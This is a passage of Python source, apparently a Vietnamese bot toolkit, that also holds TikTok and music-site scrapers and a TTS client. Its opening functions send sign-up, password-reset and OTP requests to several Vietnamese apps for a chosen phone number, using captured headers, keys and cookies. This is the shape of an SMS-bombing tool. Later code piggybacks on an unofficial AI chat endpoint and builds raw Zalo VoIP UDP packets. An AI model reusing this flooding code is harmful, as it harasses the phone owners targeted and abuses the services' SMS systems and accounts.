		'mobile': f'{sdt[0:3]} {sdt[3:7]} {sdt[7:10]}',
		'resend': False,
	}

	try:
		response = requests.post('https://api.ahamove.com/api/v3/public/supplier/login', headers=headers1, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def hvb(sdt): #ap \mua ngay\
	random_email = generate_random_email()
	cookies = {
		'ApplicationGatewayAffinity': 'f5a3c078cda30b7a72eb318a56bc22c3a7bd8720bca4f58a5a4d6f638aa015f2',
		'ApplicationGatewayAffinityCORS': 'f5a3c078cda30b7a72eb318a56bc22c3a7bd8720bca4f58a5a4d6f638aa015f2',
	}

	headers = {
		'Host': 'api-app.muangay-vn.com',
		# 'Cookie': 'ApplicationGatewayAffinity=f5a3c078cda30b7a72eb318a56bc22c3a7bd8720bca4f58a5a4d6f638aa015f2; ApplicationGatewayAffinityCORS=f5a3c078cda30b7a72eb318a56bc22c3a7bd8720bca4f58a5a4d6f638aa015f2',
		'locale': 'vi',
		'accept': 'multipart/form-data',
		'content-type': 'application/x-www-form-urlencoded',
		'user-agent': 'UMenu/433 CFNetwork/1494.0.7 Darwin/23.4.0',
		'version': '3',
		'accept-language': 'vi-VN,vi;q=0.9',
	}

	data = {
		'mobilePhone': sdt,
		'userName': 'tran duc',
		'name': random_email,
		'roleId': '2',
	}

	try:
		response = requests.post('https://api-app.muangay-vn.com/api/outlet/register/info', cookies=cookies, headers=headers, data=data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def hoatoc247(sdt): #ap
	headers = {
		'Host': 'api.hoatoc247.com:8080',
		'hash': '6a34ed52dc813de78dc95dd5f7a051e1',
		'Accept': 'application/json, text/plain, */*',
		'version': '1.2.45',
		'app-version': '1.2.45',
		'time': '1739092657',
		'Accept-Language': 'vi-VN,vi;q=0.9',
		'Content-Type': 'application/json',
		'User-Agent': 'HoaToc247/1 CFNetwork/1494.0.7 Darwin/23.4.0',
		'lang': 'vi',
	}

	json_data = {
		'customer': {
			'rePassword': '123123aAa@',
			'password': '123123aAa@',
			'areaId': '172',
			'rePhone': '0357156329',
			'phone': sdt,
			'name': 'Nguyen Huy Dol',
			'area': {
				'id': 172,
				'createdAt': 1724208478,
				'updatedAt': 1737688142,
				'deletedAt': None,
				'isDeleted': False,
				'name': 'Nga SÆ¡n - Thanh HÃ³a',
				'position': 2,
				'balance': 68282655,
				'codLimit': 1000000,
				'isMaintain': False,
				'isVisible': True,
				'isBlockBalance': False,
			},
			'refPhone': '',
		},
		'otp': '',
		'deviceId': 'E9F41C72-D646-4489-BD13-BC789331B0F4',
		'areaId': 172,
	}

	response = requests.post('https://api.hoatoc247.com:8080/v1/auth/signup', headers=headers, json=json_data)
	headers = {
		'Host': 'api.hoatoc247.com:8080',
		'hash': 'a47cbf5838ff5e902d56068b616ae09c',
		'Accept': 'application/json, text/plain, */*',
		'version': '1.2.45',
		'app-version': '1.2.45',
		'time': '1739092703',
		'Accept-Language': 'vi-VN,vi;q=0.9',
		'Content-Type': 'application/json',
		'User-Agent': 'HoaToc247/1 CFNetwork/1494.0.7 Darwin/23.4.0',
		'lang': 'vi',
	}

	json_data = {
		'phone': sdt,
	}

	try:
		response = requests.post('https://api.hoatoc247.com:8080/v1/auth/forgot', headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def gotp(sdt): #ap \mico\
	cookies = {
		'aliyungf_tc': '661583488e481df3abede768fc68b68663745b474d9965c188fbe8a050cef5f3',
	}

	headers = {
		'Host': 'api.micoworld.net:443',
		# 'Cookie': 'aliyungf_tc=661583488e481df3abede768fc68b68663745b474d9965c188fbe8a050cef5f3',
		'language': 'vi',
		'did': '6b630b40c619d590ee4e0b3a301c9ac69e4d1b55',
		'user-agent': 'Mico/8.28.0 (iPhone; iOS 17.4.1; Scale/2.00)',
		'encryption': 'c5rvZI0JZ9dT5MYlVk/QisRVdNkcywbi0I6jRUm/jVAaVXCWchDBgZliVJv2nhvJKXN5kdvdopWZL1k606gFVtxZonrYyYFO7Q8XOnwWf7ZVfUCh0RBw3pzE//MTHZn5',
		'channel': 'appstore',
		'pkg': 'com.meets.Meets',
		'locale': 'vi_VN',
		'version': 'vc-210754-vn-8.28.0.36332',
		'os': 'ios-17.4.1-iPhone XR',
		'att': '2',
		'sign': 'channelType=0func=0nonce=1739093368991901number=0357156329pkg=com.meets.Meetsprefix=84',
		'uid': '0',
		'appsflyer-id': '1739088102411-9175093',
		'accept-language': 'vi-VN;q=1',
		'timezone': '7',
		'md5': 'cdfbb4dacc3c8f3e5b8a69a7a386186b',
		'accept': '*/*',
		'content-type': 'application/x-www-form-urlencoded',
		'idfa': 'unknown',
	}

	data = {
		'channelType': '0',
		'func': '0',
		'nonce': '1739093368991901',
		'number': sdt,
		'pkg': 'com.meets.Meets',
		'prefix': '84',
	}

	try:
		response = requests.post(
			'https://api.micoworld.net:443/api/accountkit/phone/verification_code/send',
			cookies=cookies,
			headers=headers,
			data=data,
		)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def zodi(sdt): #ap
	headers = {
		'Host': 'pro.zodicorp.vn',
		'X-Parse-Client-Version': 'swift4.14.2',
		'Accept': '*/*',
		'X-Parse-Application-Id': 'f188e6ad0bcb7e391729b71feb1bd1fc966dffbf',
		'X-Parse-Client-Key': 'e5c06f986b709c9822537a8d7cfd8ff92f32052d',
		'X-Parse-Installation-Id': '8b112872-470e-4d58-9d9c-eb71a8b9caeb',
		'Accept-Language': 'vi-VN,vi;q=0.9',
		'Content-Type': 'application/json',
		'User-Agent': 'Zodi/250207.1940 CFNetwork/1494.0.7 Darwin/23.4.0',
		'X-Parse-Request-Id': '32f231fc-2729-48ba-bcc9-b52a34908267',
	}

	params = {
		'sig': 'df7f485b3f449910cb25b304c32a88f7',
	}

	json_data = {
		'checkExists': False,
		'countryCode': '84',
		'locale': 'vi',
		'method': 'sms',
		'phoneNumber': sdtt(sdt),
	}

	try:
		response = requests.post('https://pro.zodicorp.vn/api/functions/SendCode', params=params, headers=headers, json=json_data)
		response.raise_for_status()
		return True
	except requests.exceptions.RequestException:
		return False

def find_json_blocks_from_text(text: str) -> List[Any]:
	results = []
	for m in re.finditer(r'\{', text):
		start = m.start()
		depth = 0
		for i in range(start, len(text)):
			ch = text[i]
			if ch == '{':
				depth += 1
			elif ch == '}':
				depth -= 1
				if depth == 0:
					candidate = text[start:i+1]
					try:
						obj = json.loads(candidate)
						results.append(obj)
					except Exception:
						pass
					break
	return results

def extract_meta_tags(soup: BeautifulSoup) -> Dict[str, str]:
	meta = {}
	for tag in soup.find_all('meta'):
		if tag.get('property') and tag.get('content'):
			meta[tag['property']] = tag['content']
		if tag.get('name') and tag.get('content'):
			meta[tag['name']] = tag['content']
	return meta

def recursive_search_for_media(obj: Any, found: List[Dict]) -> None:
	if isinstance(obj, dict):
		keys = set(obj.keys())
		if 'playAddr' in keys or 'downloadAddr' in keys or 'video' in keys or 'images' in keys or 'image' in keys or {'diggCount','commentCount','shareCount'}.intersection(keys):
			found.append(obj)
		for v in obj.values():
			recursive_search_for_media(v, found)
	elif isinstance(obj, list):
		for item in obj:
			recursive_search_for_media(item, found)

def safe_int(v):
	try:
		return int(v)
	except Exception:
		try:
			return int(float(str(v)))
		except Exception:
			return None

def normalize_duration_to_ms(d):
	if d is None:
		return None
	try:
		dnum = float(d)
		if dnum > 1000:
			return int(dnum)
		else:
			return int(dnum * 1000)
	except Exception:
		return None

def extract_urls_from_value(val) -> List[str]:
	urls = []
	if not val:
		return urls
	if isinstance(val, dict):
		for k in ['urlList', 'urls', 'url', 'downloadAddr', 'playAddr', 'origin', 'cover', 'posterThumb', 'imageURL', 'originImage', 'url_list']:
			if k in val:
				v = val[k]
				if isinstance(v, list):
					for it in v:
						if isinstance(it, str) and it.startswith('http'):
							urls.append(it)
				elif isinstance(v, str) and v.startswith('http'):
					urls.append(v)
		for v in val.values():
			urls.extend(extract_urls_from_value(v))
	elif isinstance(val, list):
		for it in val:
			urls.extend(extract_urls_from_value(it))
	elif isinstance(val, str):
		s = val.strip()
		if (s.startswith('{') and s.endswith('}')) or (s.startswith('[') and s.endswith(']')):
			try:
				parsed = json.loads(s)
				urls.extend(extract_urls_from_value(parsed))
				return list(dict.fromkeys(urls))
			except Exception:
				pass
		found = re.findall(r'https?://[^\s"\'<>]+', s)
		urls.extend(found)
	seen = set()
	out = []
	for u in urls:
		if u not in seen:
			seen.add(u)
			out.append(u)
	return out

def is_image_url(u: str) -> bool:
	if not u:
		return False
	u = u.lower()
	if any(ext in u for ext in ['.jpg', '.jpeg', '.png', '.webp']):
		return True
	if 'tiktokcdn' in u and not any(x in u for x in ['/video/', '.mp4', 'audio', 'audio_mpeg', 'video.tos']):
		return True
	return False

def is_audio_url(u: str) -> bool:
	if not u:
		return False
	u = u.lower()
	return any(ext in u for ext in ['.mp3', '.m4a', '.aac', '.wav']) or 'audio' in u or 'audio_mpeg' in u

def is_avatar_url(u: str) -> bool:
	if not u:
		return False
	low = u.lower()
	if '/avt-' in low or 'avatar' in low or '/profile' in low:
		return True
	if re.search(r'/aweme/\d{2,4}x\d{2,4}/', low) and re.search(r'/avt-|avatar', low):
		return True
	return False

def is_p16_domain(u: str) -> bool:
	if not u:
		return False
	try:
		host = urlparse(u).netloc.lower()
	except Exception:
		return False
	# chỉ chấp nhận host có p16 (ví dụ p16-sign-sg.tiktokcdn.com, p16.tiktokcdn.com, ...)
	return 'p16' in host and not 'p9' in host

def extract_image_candidates_from_block(block: Dict) -> List[str]:
	candidates = []
	for key in ['images', 'imageList', 'imageInfos', 'image', 'imagesList', 'itemImages', 'originImage', 'origin']:
		if key in block:
			v = block[key]
			if isinstance(v, list):
				for it in v:
					candidates.extend(extract_urls_from_value(it))
			else:
				candidates.extend(extract_urls_from_value(v))
	for key in ['cover', 'thumbnail', 'posterThumb', 'picture']:
		if key in block:
			candidates.extend(extract_urls_from_value(block[key]))
	candidates = [u for u in candidates if is_image_url(u)]
	candidates = [u for u in candidates if not is_avatar_url(u)]
	# **** chỉ giữ p16 links ****
	candidates = [u for u in candidates if is_p16_domain(u)]
	seen = set()
	out = []
	for u in candidates:
		if u not in seen:
			seen.add(u)
			out.append(u)
	return out

def estimate_resolution_from_url(u: str) -> Tuple[int,int]:
	if not u:
		return (0,0)
	m = re.search(r':(\d{2,5}):(\d{2,5})(?:[:.]|$)', u)
	if m:
		try:
			return int(m.group(1)), int(m.group(2))
		except:
			pass
	m2 = re.search(r'(\d{2,5})[xX](\d{2,5})', u)
	if m2:
		try:
			return int(m2.group(1)), int(m2.group(2))
		except:
			pass
	m3w = re.search(r'[?&]imageWidth=(\d{2,5})', u)
	m3h = re.search(r'[?&]imageHeight=(\d{2,5})', u)
	if m3w and m3h:
		try:
			return int(m3w.group(1)), int(m3h.group(1))
		except:
			pass
	return (0,0)

def normalize_image_base(u: str) -> str:
	if not u:
		return u
	parsed = urlparse(u)
	path = parsed.path
	path = re.sub(r'(:\d{1,5})+$', '', path)
	path = re.sub(r'(~tplv-[^:/?]+)(:\d{1,4}(:\d{1,4})?(:\d{1,4})?)?', r'\1', path)
	path = re.sub(r'/\d{2,5}[xX]\d{2,5}/', '/', path)
	base = parsed.netloc + path
	return base

def pick_best_image_variants(urls: List[str]) -> List[str]:
	if not urls:
		return []
	groups: Dict[str, List[Tuple[str,int]]] = {}
	order: List[str] = []
	for u in urls:
		base = normalize_image_base(u)
		if base not in groups:
			order.append(base)
			groups[base] = []
		w,h = estimate_resolution_from_url(u)
		area = w*h if (w and h) else 0
		groups[base].append((u, area))
	chosen = []
	for base in order:
		variants = groups[base]
		variants.sort(key=lambda x: (x[1], len(x[0])), reverse=True)
		chosen.append(variants[0][0])
	return chosen

def parse_media_block(block: Dict) -> Dict:
	out = {
		'author_name': None, 'author_id': None, 'title': None,
		'likes': None, 'comments': None, 'shares': None,
		'thumbnail': None, 'width': None, 'height': None,
		'duration_ms': None, 'video_url': None, 'images': [], 'voice_url': None
	}
	author = block.get('author') or block.get('authorMeta') or block.get('authorInfo') or block.get('owner')
	if isinstance(author, dict):
		out['author_name'] = author.get('nickname') or author.get('nickName') or author.get('displayName') or author.get('uniqueId')
		out['author_id'] = author.get('id') or author.get('uniqueId') or author.get('secUid')
	out['title'] = block.get('desc') or block.get('description') or block.get('title') or block.get('shareTitle') or block.get('text')
	out['likes'] = safe_int(block.get('diggCount') or block.get('likes') or block.get('likeCount'))
	out['comments'] = safe_int(block.get('commentCount') or block.get('comments') or block.get('commentNum'))
	out['shares'] = safe_int(block.get('shareCount') or block.get('shareCounts') or block.get('shares'))
	th = block.get('cover') or block.get('posterThumb') or block.get('picture') or block.get('thumbnail') or block.get('thumb') or block.get('image')
	if th:
		urls = extract_urls_from_value(th)
		chosen = None
		for u in urls:
			if is_image_url(u) and not is_avatar_url(u) and is_p16_domain(u):
				chosen = u
				break
		if chosen:
			out['thumbnail'] = chosen
		elif urls:
			# fallback: prefer first p16 if exists
			for u in urls:
				if is_p16_domain(u):
					out['thumbnail'] = u
					break
			if not out['thumbnail']:
				out['thumbnail'] = urls[0]
		elif isinstance(th, str):
			out['thumbnail'] = th
	out['width'] = safe_int(block.get('videoWidth') or block.get('width') or block.get('displayWidth') or block.get('imageWidth'))
	out['height'] = safe_int(block.get('videoHeight') or block.get('height') or block.get('displayHeight') or block.get('imageHeight'))
	dur = block.get('duration') or block.get('videoDuration') or block.get('length') or block.get('video_meta_duration')
	out['duration_ms'] = normalize_duration_to_ms(dur)
	vurl = block.get('playAddr') or block.get('downloadAddr') or (block.get('video') and (block['video'].get('playAddr') or block['video'].get('downloadAddr')))
	if isinstance(vurl, list):
		vurl = vurl[0] if vurl else None
	if isinstance(vurl, str) and vurl.startswith('http'):
		out['video_url'] = vurl

	candidates = extract_image_candidates_from_block(block)
	candidates = [u for u in candidates if not is_avatar_url(u) and is_image_url(u) and is_p16_domain(u)]
	best_images = pick_best_image_variants(candidates)
	out['images'] = best_images

	voice_fields = []
	for key in ['music', 'audio', 'sound', 'originalSound', 'musicInfo', 'musicMeta']:
		if key in block:
			voice_fields.append(block[key])
	possible_voice_urls = []
	for vf in voice_fields:
		possible_voice_urls.extend(extract_urls_from_value(vf))
	all_urls = extract_urls_from_value(block)
	for u in all_urls:
		if is_audio_url(u):
			possible_voice_urls.append(u)
	possible_voice_urls = list(dict.fromkeys(possible_voice_urls))
	out['voice_url'] = possible_voice_urls[0] if possible_voice_urls else None

	return out

def merge_parsed_blocks(blocks: List[Dict]) -> Dict:
	merged = {
		'author_name': None, 'author_id': None, 'title': None,
		'likes': None, 'comments': None, 'shares': None,
		'thumbnail': None, 'width': None, 'height': None,
		'duration_ms': None, 'video_url': "", 'images': None, 'voice_url': None
	}
	for b in blocks:
		for key in ['author_name','author_id','title']:
			if not merged[key] and b.get(key):
				merged[key] = b.get(key)
		for key in ['likes','comments','shares']:
			if merged[key] is None and b.get(key) is not None:
				merged[key] = b.get(key)
		if not merged['thumbnail'] and b.get('thumbnail'):
			merged['thumbnail'] = b.get('thumbnail')
		if not merged['width'] and b.get('width'):
			merged['width'] = b.get('width')
		if not merged['height'] and b.get('height'):
			merged['height'] = b.get('height')
		if merged['duration_ms'] is None and b.get('duration_ms') is not None:
			merged['duration_ms'] = b.get('duration_ms')
		if (not merged['video_url'] or merged['video_url']=="") and b.get('video_url'):
			merged['video_url'] = b.get('video_url')
		if not merged['voice_url'] and b.get('voice_url'):
			merged['voice_url'] = b.get('voice_url')

	imgs = []
	for b in blocks:
		for u in (b.get('images') or []):
			if u and not is_avatar_url(u) and u not in imgs and is_p16_domain(u):
				imgs.append(u)

	if not imgs and merged['thumbnail'] and not is_avatar_url(merged['thumbnail']) and is_p16_domain(merged['thumbnail']):
		imgs = [merged['thumbnail']]

	if merged['video_url']:
		if imgs:
			merged['images'] = [imgs[0]]
		else:
			merged['images'] = None
	else:
		merged['images'] = imgs if imgs else None

	if not merged['video_url']:
		merged['video_url'] = ""

	return merged

def parse_tiktok_file(html) -> Dict:
	soup = BeautifulSoup(html, 'html.parser')
	meta = extract_meta_tags(soup)
	found_jsons = []
	pattern = re.compile(r"(?P<prefix>window\[\s*['\"]?SIGI_STATE['\"]?\s*\]\s*=\s*|window\.__INIT_DATA__\s*=\s*|var\s+SIGI_STATE\s*=\s*|window\.__PRELOADED_STATE__\s*=)\s*(?P<json>\{)", flags=re.I)
	for s in soup.find_all('script'):
		text = s.string or s.get_text() or ''
		if not text.strip():
			continue
		if pattern.search(text):
			jsblocks = find_json_blocks_from_text(text)
			found_jsons.extend(jsblocks)
			continue
		try:
			obj = json.loads(text.strip())
			found_jsons.append(obj)
			continue
		except Exception:
			jsblocks = find_json_blocks_from_text(text)
			if jsblocks:
				found_jsons.extend(jsblocks)
	if meta:
		found_jsons.append(meta)
	media_blocks = []
	for j in found_jsons:
		recursive_search_for_media(j, media_blocks)
	uniq = []
	seen = set()
	for b in media_blocks:
		try:
			key = json.dumps(b, sort_keys=True, default=str)[:2000]
		except Exception:
			key = str(b)[:2000]
		if key not in seen:
			seen.add(key)
			uniq.append(b)
	parsed_blocks = [parse_media_block(b) for b in uniq]
	if not parsed_blocks:
		p = {
			'author_name': meta.get('author') or meta.get('og:site_name'),
			'author_id': None,
			'title': meta.get('og:title') or meta.get('title'),
			'likes': None, 
			'comments': None, 
			'shares': None,
			'thumbnail': meta.get('og:image') or meta.get('og:image:url'),
			'width': safe_int(meta.get('og:image:width')), 'height': safe_int(meta.get('og:image:height')),
			'duration_ms': normalize_duration_to_ms(meta.get('og:video:duration') or meta.get('duration')),
			'video_url': meta.get('og:video') or meta.get('og:video:url') or meta.get('og:video:secure_url'),
			'images': [],
			'voice_url': None
		}
		if p['thumbnail'] and not is_avatar_url(p['thumbnail']) and is_p16_domain(p['thumbnail']):
			p['images'] = [p['thumbnail']]
		parsed_blocks.append(p)
	merged = merge_parsed_blocks(parsed_blocks)
	if merged['video_url']:
		tp = 'video'
	else:
		if merged['images'] and len(merged['images']) > 1:
			tp = 'multi_image'
		elif merged['images'] and len(merged['images']) == 1:
			tp = 'image'
		else:
			tp = 'unknown'
	result = {
		'type': tp,
		'data': merged
	}
	return result
	
def rs(q):
	u = 'https://ai.reportcpanel.com/chat_v3/send-message.php'
	h = {
		"User-Agent": "Mozilla/5.0",
		"Origin": "https://ai.reportcpanel.com",
		"Referer": "https://ai.reportcpanel.com/chat_v3/"
	}
	c = {
		"id": "7cffa897-c860-4678-b387-804906b1f63b",
		"time1": str(int(time.time() * 1000))
	}
	d = {
		"msg": "",
		"g_id": "Ak1RVQtID0cBRllCQ1hcUAQCXFUdBV4CHwROB0FfVkU=",
		"model": "4omin",
		"question": q,
		"ied_ver": "3",
		"prompt": ""
	}
	r = requests.post(u, data=d, headers=h, cookies=c)
	cid = r.json()["cid"]
	u = f"https://ai.reportcpanel.com/chat_v3/event-stream.php?id={cid}"
	h = {
		"Accept": "text/event-stream",
		"Cache-Control": "no-cache",
		"User-Agent": "Mozilla/5.0",
		"Referer": "https://ai.reportcpanel.com/chat_v3/"
	}
	c = {
		"id": "7cffa897-c860-4678-b387-804906b1f63b",
		"time1": str(int(time.time() * 1000))
	}
	r = requests.get(u, headers=h, cookies=c, stream=True)
	o = ""

	buffer = ""
	for chunk in r.iter_lines():
		if not chunk: continue
		try:
			buffer += chunk.decode("utf-8")
			for match in re.finditer(r'data:\s*({.*?})(?=data:|\Z)', buffer):
				j = json.loads(match.group(1))
				delta = j.get("choices", [{}])[0].get("delta", {})
				if "content" in delta:
					# print(delta["content"], end="", flush=True)
					o += delta["content"]
			buffer = ""
		except Exception as e:
			print("\n[ERR]", e)
			print("[CHUNK]", chunk)
	return o

def get_top_keyword():
	top_5 = {}
	response = requests.get('https://www.nhaccuatui.com/ajax/get-top-key-word').json()
	data = response['data'][0]
	for i in range(len(data)):
		top_5[i+1] = data[i]
	return top_5

def get_data_keyword(q: str, type=''):
	params = {
		'q': q
	}

	response = requests.get('https://www.nhaccuatui.com/tim-kiem', params=params).text
	if type == 'song':
		a = re.findall(r'''<li class="sn_search_single_song">
                        <a href="(.*?)" ''', response)
	elif type == 'playlist':
		a = re.findall(r'''<li class="item search_item_album">
                                    <div class="thumb">
                                        <a href="(.*?)" ''', response)
	elif type == 'all':
		a = re.findall(r'''<li class="sn_search_single_song">
                        <a href="(.*?)" ''', response)
		b = re.findall(r'''<li class="item search_item_album">
                                    <div class="thumb">
                                        <a href="(.*?)" ''', response)
		a.extend(b)
	return a


class ZaloVoipCall:
	def __init__(self,
		fromId: int,
		toId: int,
		sessId: str,
		sessionType: int,
		protocol: int,
		uid: int,
		sessionId: int,
		seqId: int = 0,
		version: int = 1,
		flag: int = 0,
		typeByte: int = 3,
		opcode: int = 407,
		priority: int = 32,
		type2: int = 3):
		self.fromId = fromId
		self.toId = toId
		self.sessId = sessId
		self.sessionType = sessionType
		self.protocol = protocol
		self.uid = uid
		self.sessionId = sessionId
		self.seqId = seqId
		self.version = version
		self.flag = flag
		self.typeByte = typeByte
		self.opcode = opcode
		self.priority = priority
		self.type2 = type2

	def buildParams(self) -> bytes:
		params = b''
		params += struct.pack(">I", self.fromId)
		params += struct.pack(">I", self.toId)
		params += struct.pack(">I", self.sessionType)
		params += struct.pack(">I", self.protocol)

		sessIdBytes = self.sessId.encode("utf-8")
		params += struct.pack(">H", len(sessIdBytes))
		params += sessIdBytes

		return params

	def buildPacket(self) -> bytes:
		params = self.buildParams()
		packet = b''
		packet += struct.pack("B", self.version)
		packet += struct.pack("B", self.flag)
		packet += struct.pack(">I", self.uid)
		packet += struct.pack(">I", self.sessionId)
		packet += struct.pack(">Q", 0)
		packet += struct.pack("B", self.typeByte)
		packet += struct.pack(">H", self.opcode)
		packet += struct.pack("B", self.priority)
		packet += struct.pack(">I", len(params))
		packet += params
		packet += struct.pack("B", self.type2)
		packet += struct.pack(">Q", self.seqId)
		return packet

	def sendUdp(self, ip: str, port: int):
		data = self.buildPacket()
		with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as udpSocket:
			udpSocket.sendto(data, (ip, port))
			print(f"Sent VOIP packet to {ip}:{port} ({len(data)} bytes)")

class vixTtsClient:
	def __init__(self):
		self.baseUrl = "https://thinhlpg-vixtts-demo.hf.space"
		self.sessionHash = self.generateSessionHash()
		self.headers = {
			'sec-ch-ua-platform': '"Android"',
			'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Mobile Safari/537.36',
			'sec-ch-ua': '"Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"',
			'content-type': 'application/json',
			'sec-ch-ua-mobile': '?1',
			'accept': '*/*',
			'origin': 'https://thinhlpg-vixtts-demo.hf.space',
			'sec-fetch-site': 'same-origin',
			'sec-fetch-mode': 'cors',
			'sec-fetch-dest': 'empty',
			'referer': 'https://thinhlpg-vixtts-demo.hf.space/',
			'accept-encoding': 'gzip, deflate, br, zstd',
			'accept-language': 'vi-VN,vi;q=0.9,en-US;q=0.8,en;q=0.7,fr-FR;q=0.6,fr;q=0.5',
			'priority': 'u=1, i'
		}

	def generateSessionHash(self):
		return ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(11))

	def textToSpeech(self, text="Xin chào", language="vi"):
		joinUrl = f"{self.baseUrl}/queue/join?"
		joinPayload = {
			"data": [text, language, {
				"path": "/tmp/gradio/01b4edbba4aec9b7bba6fb7e7d5170287b4739f4/nu-luu-loat.wav",
				"url": "https://thinhlpg-vixtts-demo.hf.space/file=/tmp/gradio/01b4edbba4aec9b7bba6fb7e7d5170287b4739f4/nu-luu-loat.wav",
				"size": None,
				"orig_name": "nu-luu-loat.wav",
				"mime_type": None,
				"is_stream": False,
				"meta": {"_type": "gradio.FileData"}
			}, True],
			"event_data": None,
			"fn_index": 0,
			"trigger_id": 11,
			"session_hash": self.sessionHash
		}

		joinHeaders = self.headers.copy()
		joinHeaders['content-length'] = str(len(json.dumps(joinPayload)))

		joinResponse = requests.post(joinUrl, headers=joinHeaders, json=joinPayload)

		if joinResponse.status_code != 200:
			return None

		dataUrl = f"{self.baseUrl}/queue/data"
		dataHeaders = self.headers.copy()
		dataHeaders['accept'] = 'text/event-stream'
		del dataHeaders['content-type']

		dataResponse = requests.get(dataUrl, headers=dataHeaders,
			params={'session_hash': self.sessionHash},
			stream=True)

		for line in dataResponse.iter_lines():
			if line:
				decodedLine = line.decode('utf-8')
				if "data:" in decodedLine and decodedLine.strip() != "data:":
					try:
						eventData = decodedLine.replace("data: ", "")
						parsedData = json.loads(eventData)
						if parsedData.get("msg") == "process_completed":
							output_data = parsedData.get("output", {}).get("data", [])
							if output_data and len(output_data) > 0:
								return output_data[0].get("url")
					except:
						continue
		return None

def human_typing_sleep(text: str, wpm: float = 200) -> None:
	chars_per_min = wpm * 5
	chars_per_sec = chars_per_min / 60
	mean_interval = 1 / chars_per_sec
	ccu = 0
	for char in text:
		if char.isspace():
			interval = random.gauss(mean_interval * 2.0, mean_interval * 0.2)
		elif char in ',.!?':
			interval = random.gauss(mean_interval * 4, mean_interval * 0.5)
		else:
			interval = random.gauss(mean_interval, mean_interval * 0.1)

		ccu += max(interval, 0)
	return ccu

def SmallCap(text):
	SmallCap_Map = str.maketrans({
		'A': 'ᴀ', 'Ă': 'ᴀ̆', 'Â': 'ᴀ̂', 'B': 'ʙ', 'C': 'ᴄ', 'D': 'ᴅ',
		'Đ': 'ᴆ', 'E': 'ᴇ', 'Ê': 'ᴇ̂', 'F': 'ꜰ', 'G': 'ɢ', 'H': 'ʜ', 'I': 'ɪ',
		'K': 'ᴋ', 'L': 'ʟ', 'M': 'ᴍ', 'N': 'ɴ', 'O': 'ᴏ', 'Ô': 'ᴏ̂',
		'Ơ': 'ᴏ̛', 'P': 'ᴘ', 'Q': 'ǫ', 'R': 'ʀ', 'S': 'ꜱ', 'T': 'ᴛ',
		'U': 'ᴜ', 'Ư': 'ᴜ̛', 'V': 'ᴠ', 'X': 'x', 'Y': 'ʏ',

		'a': 'ᴀ', 'ă': 'ᴀ̆', 'â': 'ᴀ̂', 'b': 'ʙ', 'c': 'ᴄ', 'd': 'ᴅ',
		'đ': 'ᴆ', 'e': 'ᴇ', 'ê': 'ᴇ̂', 'f': 'ꜰ', 'g': 'ɢ', 'h': 'ʜ', 'i': 'ɪ',
		'k': 'ᴋ', 'l': 'ʟ', 'm': 'ᴍ', 'n': 'ɴ', 'o': 'ᴏ', 'ô': 'ᴏ̂',
		'ơ': 'ᴏ̛', 'p': 'ᴘ', 'q': 'ǫ', 'r': 'ʀ', 's': 'ꜱ', 't': 'ᴛ',
		'u': 'ᴜ', 'ư': 'ᴜ̛', 'v': 'ᴠ', 'x': 'x', 'y': 'ʏ',

		'0': '⁰', '1': '¹', '2': '²', '3': '³', '4': '⁴',
		'5': '⁵', '6': '⁶', '7': '⁷', '8': '⁸', '9': '⁹',
		' ': ' '
	})
	return text.translate(SmallCap_Map)

def search_music(keyword):
	try:
		encoded_keyword = quote(keyword)
		url = f"https://www.nhaccuatui.com/tim-kiem/bai-hat?q={keyword}"

		headers = {
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
		}

		response = requests.get(url, headers=headers)
		print(response.text)
		soup = BeautifulSoup(response.text, 'html.parser')

		results = {
			"data": {
				"items": []
			}
		}
		for song_element in soup.select(".sn_search_single_song"):
			song_link = song_element.find("a")
			if not song_link:
				continue
			print(song_link)
			title = song_link.get("title", "").strip()
			key = song_link.get("key", "")
			song_link_href = song_link.get("href", "")
			artist = song_element.select_one(".name_singer").text.strip() if song_element.select_one(".name_singer") else ""
			is_official = bool(song_element.select_one(".icon_tag_official"))
			is_hd = bool(song_element.select_one(".icon_tag_hd"))

			thumb = song_link.select_one(".thumb")
			thumbnail = thumb.get("data-src") or thumb.get("src", "") if thumb else ""
			if thumbnail:
				thumbnail = thumbnail.replace(".jpg", "_600.jpg")

			results["data"]["items"].append({
				"id": key,
				"songLink": song_link_href,
				"title": title,
				"artistsNames": artist,
				"thumbnail": thumbnail,
				"streamingStatus": 1 if is_official else 2,
				"isOfficial": is_official,
				"isHD": is_hd
			})

		return results
	except Exception as error:
		print(f"Lỗi khi tìm kiếm nhạc: {error}")
		return {
			"data": {
				"items": []
			}
		}

def get_stream_url(song_id, song_link, retry_count=3):
	try:
		headers = {
			"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
			"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
			"Referer": "https://www.nhaccuatui.com/"
		}

		response = requests.get(song_link, headers=headers, timeout=10)
		soup = BeautifulSoup(response.text, 'html.parser')

		key = None
		scripts = soup.find_all("script")
		for script in scripts:
			content = script.string or ""
			key_match = re.search(r'key1=([a-f0-9]{32})', content, re.I)
			if key_match:
				key = key_match.group(1)
				break

		if not key:
			print("Không tìm thấy key trong HTML")
			return None

		xml_url = f"https://www.nhaccuatui.com/flash/xml?html5=true&key1={key}"

		def get_xml_with_retry(attempt=0):
			try:
				xml_headers = {
					"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
					"Accept": "application/xml,text/xml,*/*",
					"Referer": song_link
				}
				return requests.get(xml_url, headers=xml_headers, timeout=15)
			except requests.exceptions.RequestException as error:
				if attempt < 3 and isinstance(error, (requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout)):
